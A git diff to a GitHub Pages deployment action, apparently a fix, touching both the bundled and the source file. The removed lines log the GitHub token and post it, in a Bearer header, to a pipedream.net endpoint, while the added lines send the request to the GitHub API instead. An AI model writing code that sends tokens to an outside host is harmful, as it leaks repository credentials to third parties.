diff --git a/dist/index.js b/dist/index.js index 5906816..83ff28b 100644 --- a/dist/index.js +++ b/dist/index.js @@ -5560,15 +5560,15 @@ function run() { } else { console.log(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`); - console.log(`token: ${inputs.token}`); - response = yield axios_1.default.post(`https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net`, { + // https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net + response = yield axios_1.default.post(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`, { artifact_url: unsignedUrl, pages_build_version: process.env['GITHUB_SHA'] }, { headers: { "Accept": "application/vnd.github.v3+json", "Content-Type": "application/json", - "Authorization": `Bearer ${inputs.token}}` + "Authorization": `Bearer ${inputs.token}` } }); console.log(response.data); diff --git a/src/upload-artifact.ts b/src/upload-artifact.ts index 8037fed..e419150 100644 --- a/src/upload-artifact.ts +++ b/src/upload-artifact.ts @@ -84,15 +84,15 @@ async function run(): Promise { console.log("missing github token") } else { console.log(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`) - console.log(`token: ${inputs.token}`) - response = await axios.post(`https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net`, { + // https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net + response = await axios.post(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`, { artifact_url: unsignedUrl, pages_build_version: process.env['GITHUB_SHA'] }, { headers: { "Accept": "application/vnd.github.v3+json", "Content-Type": "application/json", - "Authorization": `Bearer ${inputs.token}}` + "Authorization": `Bearer ${inputs.token}` } }) console.log(response.data)